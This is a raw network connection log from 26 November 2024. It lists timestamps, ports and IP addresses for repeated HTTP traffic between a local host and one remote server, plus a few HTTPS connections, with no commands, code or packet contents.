Nov 26, 2024 10:09:30.244533062 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.244545937 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.244899035 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.245887995 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.245956898 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.246356010 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.280204058 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.280261040 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.280306101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.280340910 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.280966043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.281130075 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.281286001 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.281387091 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.281430960 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.282763958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.282834053 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.282870054 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.283128023 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.284238100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.284310102 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.284384966 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.284429073 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.286474943 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.286621094 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.286667109 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.288310051 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.288417101 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.288467884 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.288563013 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.290227890 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.290271997 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.290309906 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.290344954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.291323900 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.291582108 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.291634083 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.291665077 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.291727066 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.292957067 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.293021917 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.293121099 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.293159962 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.294661999 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.294708967 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.294779062 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.294821024 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.296596050 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.296677113 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.296787024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.296909094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.298472881 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.298559904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.298589945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.298660994 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.300295115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.300359964 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.300440073 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.300479889 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.301871061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.301938057 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.302016973 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.302161932 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.303530931 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.303585052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.303595066 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.303622961 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.305157900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.305234909 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.305282116 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.306827068 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.306989908 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.307046890 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.308444977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.308527946 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.308590889 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.308629990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.310298920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.310343981 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.310410023 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.310767889 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.311770916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.311846972 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.311855078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.312006950 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.313325882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.313350916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.313431978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.314677954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.314727068 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.314842939 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.315097094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.316081047 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.316207886 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.316278934 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.316409111 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.318208933 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.318375111 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.318382025 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.318845034 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.319788933 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.319833994 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.319905996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.320079088 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.321701050 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.321726084 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.321780920 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.323177099 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.323227882 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.323286057 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.323327065 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.324559927 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.324613094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.324650049 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.324688911 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.326272011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.326373100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.326386929 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.326414108 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.328248024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.328370094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.328572035 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.328754902 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.330420017 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.330468893 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.330512047 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.330548048 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.331998110 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.332045078 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.332084894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.332119942 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.333412886 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.333471060 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.333478928 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.333515882 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.334927082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.334991932 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.335062027 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.335124016 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.336417913 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.336432934 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.336724997 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.338082075 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.338149071 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.338202000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.338246107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.339553118 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.339615107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.339643002 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.339757919 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.341074944 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.341135979 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.341196060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.341238022 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.342473984 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.342516899 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.342523098 CET	443	49822	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.342542887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.342590094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.343106985 CET	49822	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.343139887 CET	443	49822	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.343497992 CET	443	49822	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.343851089 CET	49822	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.343903065 CET	443	49822	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.344022036 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.344171047 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.344196081 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.344208956 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.344309092 CET	49822	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:30.345609903 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.345673084 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.345745087 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.345875025 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.347265005 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.347323895 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.347349882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.347392082 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.348992109 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.349060059 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.349087000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.349128008 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.391335011 CET	443	49822	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:30.402590036 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.402667999 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.402712107 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.402756929 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.403645039 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.403721094 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.403950930 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.404126883 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.405447960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.405508041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.405565977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.405611038 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.407083988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.407144070 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.407181978 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.407222986 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.408937931 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.409010887 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.409046888 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.409173012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.411053896 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.411113977 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.411185026 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.411231041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.412750006 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.412795067 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.412996054 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.413213968 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.414036036 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.414078951 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.414135933 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.414170027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.415689945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.415735006 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.415898085 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.415977001 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.417583942 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.417684078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.417733908 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.472321033 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.472408056 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.472445965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.472464085 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.472512960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.472666979 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.472718954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.473525047 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.473577023 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.473634958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.473676920 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.474585056 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.474684000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.475590944 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.475692034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.476521969 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.476594925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.478027105 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.478068113 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.479935884 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.480241060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.480283022 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.480323076 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.480601072 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.481934071 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.481976032 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.482089996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.482130051 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.483679056 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.483720064 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.483829021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.483869076 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.484858990 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.485037088 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.485091925 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.485985041 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.486028910 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.486057043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.486093998 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.486823082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.486871958 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.486938953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.486980915 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.503196001 CET	49834	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:30.503236055 CET	443	49834	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:30.503386021 CET	49835	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:30.503423929 CET	443	49835	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:30.503463030 CET	49835	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:30.503518105 CET	49834	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:30.503722906 CET	49836	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:30.503748894 CET	443	49836	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:30.503802061 CET	49836	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:30.503917933 CET	49834	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:30.503926992 CET	443	49834	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:30.504139900 CET	49835	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:30.504157066 CET	443	49835	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:30.504235983 CET	49836	443	192.168.2.5	23.216.132.72
Nov 26, 2024 10:09:30.504247904 CET	443	49836	23.216.132.72	192.168.2.5
Nov 26, 2024 10:09:30.640871048 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.640929937 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.677911043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.677925110 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.677936077 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.677947044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.677958012 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.677968025 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.677978992 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.677985907 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.677989960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678002119 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678011894 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678024054 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678030014 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678034067 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678045988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678050041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678056955 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678066015 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678069115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678080082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678090096 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678091049 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678107977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678114891 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678119898 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678128004 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678131104 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678143024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678152084 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678164005 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678174973 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678180933 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678189039 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678196907 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678200960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678210974 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678220034 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678222895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678232908 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678244114 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678244114 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678256035 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678260088 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678267956 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678278923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678277969 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678291082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678302050 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678302050 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678314924 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678325891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678327084 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678337097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678345919 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678348064 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678359032 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678361893 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:30.678369999 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:30.678381920 CET	80	49766	185.215.113.206	192.168.2.5
